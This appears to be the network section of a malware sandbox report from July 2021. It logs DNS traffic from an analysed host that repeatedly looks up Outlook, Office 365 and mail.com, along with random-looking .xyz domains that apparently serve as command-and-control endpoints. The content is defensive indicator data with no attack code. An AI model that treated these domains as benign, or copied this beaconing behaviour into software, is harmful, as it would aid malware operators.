Jul 9, 2021 15:33:58.930789948 CEST	51726	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:33:58.945017099 CEST	53	51726	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:49.166409969 CEST	56794	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:49.182403088 CEST	53	56794	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:50.307189941 CEST	56534	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:50.320760012 CEST	53	56534	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:51.004731894 CEST	56627	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:51.018451929 CEST	53	56627	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:51.254400015 CEST	56621	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:51.281975985 CEST	53	56621	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:51.788939953 CEST	63116	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:51.801887989 CEST	53	63116	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:52.546947002 CEST	64078	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:52.560949087 CEST	53	64078	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:54.141108036 CEST	64801	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:54.154117107 CEST	53	64801	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:55.077413082 CEST	61721	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:55.091193914 CEST	53	61721	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:55.836743116 CEST	51255	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:55.850080967 CEST	53	51255	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:56.483027935 CEST	61522	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:56.495872974 CEST	53	61522	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:57.229047060 CEST	52337	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:57.242814064 CEST	53	52337	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:57.986063004 CEST	55046	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:57.998249054 CEST	53	55046	8.8.8.8	192.168.2.4
Jul 9, 2021 15:34:58.714000940 CEST	49612	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:34:58.726811886 CEST	53	49612	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:08.633930922 CEST	49285	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:08.652868986 CEST	53	49285	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:09.515248060 CEST	50601	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:09.654387951 CEST	53	50601	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:10.023175001 CEST	60875	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:10.036030054 CEST	53	60875	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:10.582601070 CEST	56448	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:10.644268036 CEST	59172	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:10.673958063 CEST	53	59172	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:10.767549038 CEST	53	56448	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:10.908184052 CEST	62420	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:10.921072006 CEST	53	62420	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:11.100637913 CEST	60579	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:11.113250971 CEST	53	60579	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:11.696571112 CEST	50183	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:11.891318083 CEST	53	50183	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:12.586631060 CEST	61531	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:12.600366116 CEST	53	61531	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:13.482240915 CEST	49228	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:13.495970011 CEST	53	49228	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:14.714390039 CEST	59794	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:14.727344036 CEST	53	59794	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:15.831902027 CEST	55916	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:15.971986055 CEST	53	55916	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:17.053920031 CEST	52752	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:17.067537069 CEST	53	52752	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:18.187175989 CEST	60542	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:18.200617075 CEST	53	60542	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:18.958345890 CEST	60689	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:18.974083900 CEST	53	60689	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:27.096045971 CEST	64206	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:27.130628109 CEST	53	64206	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:27.473166943 CEST	50904	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:27.505309105 CEST	53	50904	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:32.097964048 CEST	57525	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:32.116019964 CEST	53	57525	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:38.563250065 CEST	53814	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:38.576299906 CEST	53	53814	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:39.553922892 CEST	53814	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:39.567709923 CEST	53	53814	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:40.572632074 CEST	53814	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:40.586215973 CEST	53	53814	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:42.538528919 CEST	53814	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:42.551790953 CEST	53	53814	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:46.601358891 CEST	53814	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:46.616426945 CEST	53	53814	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:52.971183062 CEST	53418	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:52.995430946 CEST	53	53418	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:54.048286915 CEST	62833	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:54.376106024 CEST	53	62833	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:54.388962030 CEST	59260	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:54.689099073 CEST	53	59260	8.8.8.8	192.168.2.4
Jul 9, 2021 15:35:54.699239969 CEST	49944	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:35:54.715207100 CEST	53	49944	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:02.261214972 CEST	63300	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:02.289493084 CEST	53	63300	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:04.992397070 CEST	61449	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:05.010893106 CEST	53	61449	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:05.016381025 CEST	51275	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:05.030246019 CEST	53	51275	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:06.286339998 CEST	63492	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:06.299734116 CEST	53	63492	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:06.811527014 CEST	58945	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:06.826070070 CEST	53	58945	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:06.911092997 CEST	60779	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:06.924546003 CEST	53	60779	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:17.222836971 CEST	64014	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:17.244260073 CEST	53	64014	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:18.424819946 CEST	57091	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:18.690321922 CEST	53	57091	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:18.698889971 CEST	55904	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:18.970729113 CEST	53	55904	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:18.979058981 CEST	52109	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:18.992382050 CEST	53	52109	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:28.863863945 CEST	54450	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:28.882546902 CEST	53	54450	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:30.986148119 CEST	49374	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:31.001132011 CEST	53	49374	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:34.206691027 CEST	50436	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:34.220576048 CEST	53	50436	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:34.400295019 CEST	62605	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:34.415894985 CEST	54256	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:34.421116114 CEST	53	62605	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:34.431644917 CEST	52189	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:34.438905001 CEST	53	54256	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:34.458900928 CEST	53	52189	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:34.865569115 CEST	56131	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:34.879384995 CEST	53	56131	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:35.163589954 CEST	62992	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:35.184494019 CEST	53	62992	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:35.493360996 CEST	54432	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:35.506850004 CEST	53	54432	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:35.724576950 CEST	57227	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:35.737543106 CEST	53	57227	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:40.667145967 CEST	58383	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:40.688097954 CEST	53	58383	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:41.645814896 CEST	63136	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:41.660183907 CEST	53	63136	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:42.133971930 CEST	50911	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:42.147253990 CEST	53	50911	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:42.240880966 CEST	63409	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:42.261642933 CEST	53	63409	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:56.402471066 CEST	59185	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:56.425718069 CEST	53	59185	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:57.412597895 CEST	64236	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:57.681952953 CEST	53	64236	8.8.8.8	192.168.2.4
Jul 9, 2021 15:36:57.690293074 CEST	56157	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:36:57.956423044 CEST	53	56157	8.8.8.8	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jul 9, 2021 15:37:02.495923996 CEST	192.168.2.4	192.168.2.1	8270	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 9, 2021 15:35:10.023175001 CEST	192.168.2.4	8.8.8.8	0x6029	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:10.908184052 CEST	192.168.2.4	8.8.8.8	0x273	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:11.100637913 CEST	192.168.2.4	8.8.8.8	0x5ef4	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:54.048286915 CEST	192.168.2.4	8.8.8.8	0x227	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:54.388962030 CEST	192.168.2.4	8.8.8.8	0xbd33	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:54.699239969 CEST	192.168.2.4	8.8.8.8	0xf03b	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.286339998 CEST	192.168.2.4	8.8.8.8	0x8170	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.811527014 CEST	192.168.2.4	8.8.8.8	0x4c85	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.911092997 CEST	192.168.2.4	8.8.8.8	0x77ae	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:18.424819946 CEST	192.168.2.4	8.8.8.8	0xe900	Standard query (0)	thyihjtkylhmhnypp2.xyz	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:18.698889971 CEST	192.168.2.4	8.8.8.8	0x73fe	Standard query (0)	thyihjtkylhmhnypp2.xyz	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:18.979058981 CEST	192.168.2.4	8.8.8.8	0x5e49	Standard query (0)	thyihjtkylhmhnypp2.xyz	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:30.986148119 CEST	192.168.2.4	8.8.8.8	0x4dbd	Standard query (0)	mail.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:34.206691027 CEST	192.168.2.4	8.8.8.8	0xa90d	Standard query (0)	www.mail.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:34.400295019 CEST	192.168.2.4	8.8.8.8	0xb29a	Standard query (0)	dl.mail.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:34.415894985 CEST	192.168.2.4	8.8.8.8	0x3dbb	Standard query (0)	s.uicdn.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:34.431644917 CEST	192.168.2.4	8.8.8.8	0xa171	Standard query (0)	www.googleoptimize.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:34.865569115 CEST	192.168.2.4	8.8.8.8	0x351a	Standard query (0)	wa.mail.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:35.163589954 CEST	192.168.2.4	8.8.8.8	0x58c5	Standard query (0)	img.ui-portal.de	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:35.493360996 CEST	192.168.2.4	8.8.8.8	0xbb93	Standard query (0)	plus.mail.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:41.645814896 CEST	192.168.2.4	8.8.8.8	0x15e7	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:42.133971930 CEST	192.168.2.4	8.8.8.8	0xbbed	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:42.240880966 CEST	192.168.2.4	8.8.8.8	0xb812	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:57.412597895 CEST	192.168.2.4	8.8.8.8	0x2356	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:57.690293074 CEST	192.168.2.4	8.8.8.8	0x2482	Standard query (0)	taybhctdyehfhgthp2.xyz	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 9, 2021 15:35:10.036030054 CEST	8.8.8.8	192.168.2.4	0x6029	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:10.036030054 CEST	8.8.8.8	192.168.2.4	0x6029	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:10.036030054 CEST	8.8.8.8	192.168.2.4	0x6029	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:10.036030054 CEST	8.8.8.8	192.168.2.4	0x6029	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:10.036030054 CEST	8.8.8.8	192.168.2.4	0x6029	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:10.036030054 CEST	8.8.8.8	192.168.2.4	0x6029	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:10.036030054 CEST	8.8.8.8	192.168.2.4	0x6029	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:10.036030054 CEST	8.8.8.8	192.168.2.4	0x6029	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:10.921072006 CEST	8.8.8.8	192.168.2.4	0x273	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:35:10.921072006 CEST	8.8.8.8	192.168.2.4	0x273	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:35:10.921072006 CEST	8.8.8.8	192.168.2.4	0x273	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:35:10.921072006 CEST	8.8.8.8	192.168.2.4	0x273	No error (0)	outlook.ms-acdc.office.com	ZRH-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:35:10.921072006 CEST	8.8.8.8	192.168.2.4	0x273	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.186.114	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:10.921072006 CEST	8.8.8.8	192.168.2.4	0x273	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.232.194	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:10.921072006 CEST	8.8.8.8	192.168.2.4	0x273	No error (0)	ZRH-efz.ms-acdc.office.com		52.98.168.178	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:10.921072006 CEST	8.8.8.8	192.168.2.4	0x273	No error (0)	ZRH-efz.ms-acdc.office.com		52.98.163.18	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:11.113250971 CEST	8.8.8.8	192.168.2.4	0x5ef4	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:35:11.113250971 CEST	8.8.8.8	192.168.2.4	0x5ef4	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:35:11.113250971 CEST	8.8.8.8	192.168.2.4	0x5ef4	No error (0)	outlook.ms-acdc.office.com	ZRH-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:35:11.113250971 CEST	8.8.8.8	192.168.2.4	0x5ef4	No error (0)	ZRH-efz.ms-acdc.office.com		52.98.168.178	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:11.113250971 CEST	8.8.8.8	192.168.2.4	0x5ef4	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.201.210	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:11.113250971 CEST	8.8.8.8	192.168.2.4	0x5ef4	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.201.226	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:11.113250971 CEST	8.8.8.8	192.168.2.4	0x5ef4	No error (0)	ZRH-efz.ms-acdc.office.com		52.98.163.18	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:54.376106024 CEST	8.8.8.8	192.168.2.4	0x227	Server failure (2)	taybhctdyehfhgthp2.xyz	none	none	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:54.689099073 CEST	8.8.8.8	192.168.2.4	0xbd33	Server failure (2)	taybhctdyehfhgthp2.xyz	none	none	A (IP address)	IN (0x0001)
Jul 9, 2021 15:35:54.715207100 CEST	8.8.8.8	192.168.2.4	0xf03b	Server failure (2)	taybhctdyehfhgthp2.xyz	none	none	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.299734116 CEST	8.8.8.8	192.168.2.4	0x8170	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.299734116 CEST	8.8.8.8	192.168.2.4	0x8170	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.299734116 CEST	8.8.8.8	192.168.2.4	0x8170	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.299734116 CEST	8.8.8.8	192.168.2.4	0x8170	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.299734116 CEST	8.8.8.8	192.168.2.4	0x8170	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.299734116 CEST	8.8.8.8	192.168.2.4	0x8170	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.299734116 CEST	8.8.8.8	192.168.2.4	0x8170	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.299734116 CEST	8.8.8.8	192.168.2.4	0x8170	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.826070070 CEST	8.8.8.8	192.168.2.4	0x4c85	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:06.826070070 CEST	8.8.8.8	192.168.2.4	0x4c85	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:06.826070070 CEST	8.8.8.8	192.168.2.4	0x4c85	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:06.826070070 CEST	8.8.8.8	192.168.2.4	0x4c85	No error (0)	outlook.ms-acdc.office.com	ZRH-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:06.826070070 CEST	8.8.8.8	192.168.2.4	0x4c85	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.201.194	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.826070070 CEST	8.8.8.8	192.168.2.4	0x4c85	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.201.210	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.826070070 CEST	8.8.8.8	192.168.2.4	0x4c85	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.201.242	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.826070070 CEST	8.8.8.8	192.168.2.4	0x4c85	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.232.194	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.924546003 CEST	8.8.8.8	192.168.2.4	0x77ae	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:06.924546003 CEST	8.8.8.8	192.168.2.4	0x77ae	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:06.924546003 CEST	8.8.8.8	192.168.2.4	0x77ae	No error (0)	outlook.ms-acdc.office.com	ZRH-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:06.924546003 CEST	8.8.8.8	192.168.2.4	0x77ae	No error (0)	ZRH-efz.ms-acdc.office.com		52.98.163.18	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.924546003 CEST	8.8.8.8	192.168.2.4	0x77ae	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.201.226	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.924546003 CEST	8.8.8.8	192.168.2.4	0x77ae	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.186.114	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:06.924546003 CEST	8.8.8.8	192.168.2.4	0x77ae	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.186.146	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:18.690321922 CEST	8.8.8.8	192.168.2.4	0xe900	Server failure (2)	thyihjtkylhmhnypp2.xyz	none	none	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:18.970729113 CEST	8.8.8.8	192.168.2.4	0x73fe	Server failure (2)	thyihjtkylhmhnypp2.xyz	none	none	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:18.992382050 CEST	8.8.8.8	192.168.2.4	0x5e49	Server failure (2)	thyihjtkylhmhnypp2.xyz	none	none	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:31.001132011 CEST	8.8.8.8	192.168.2.4	0x4dbd	No error (0)	mail.com		82.165.229.87	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:34.220576048 CEST	8.8.8.8	192.168.2.4	0xa90d	No error (0)	www.mail.com		82.165.229.59	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:34.421116114 CEST	8.8.8.8	192.168.2.4	0xb29a	No error (0)	dl.mail.com	dl.mail.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:34.438905001 CEST	8.8.8.8	192.168.2.4	0x3dbb	No error (0)	s.uicdn.com	s.uicdn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:34.458900928 CEST	8.8.8.8	192.168.2.4	0xa171	No error (0)	www.googleoptimize.com		172.217.168.14	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:34.879384995 CEST	8.8.8.8	192.168.2.4	0x351a	No error (0)	wa.mail.com		82.165.229.16	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:35.184494019 CEST	8.8.8.8	192.168.2.4	0x58c5	No error (0)	img.ui-portal.de	img.ui-portal.de.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:35.506850004 CEST	8.8.8.8	192.168.2.4	0xbb93	No error (0)	plus.mail.com	plusmailcom.ha-cdn.de		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:35.506850004 CEST	8.8.8.8	192.168.2.4	0xbb93	No error (0)	plusmailcom.ha-cdn.de		195.20.250.115	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:41.660183907 CEST	8.8.8.8	192.168.2.4	0x15e7	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:41.660183907 CEST	8.8.8.8	192.168.2.4	0x15e7	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:41.660183907 CEST	8.8.8.8	192.168.2.4	0x15e7	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:41.660183907 CEST	8.8.8.8	192.168.2.4	0x15e7	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:41.660183907 CEST	8.8.8.8	192.168.2.4	0x15e7	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:41.660183907 CEST	8.8.8.8	192.168.2.4	0x15e7	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:41.660183907 CEST	8.8.8.8	192.168.2.4	0x15e7	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:41.660183907 CEST	8.8.8.8	192.168.2.4	0x15e7	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:42.147253990 CEST	8.8.8.8	192.168.2.4	0xbbed	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:42.147253990 CEST	8.8.8.8	192.168.2.4	0xbbed	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:42.147253990 CEST	8.8.8.8	192.168.2.4	0xbbed	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:42.147253990 CEST	8.8.8.8	192.168.2.4	0xbbed	No error (0)	outlook.ms-acdc.office.com	ZRH-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
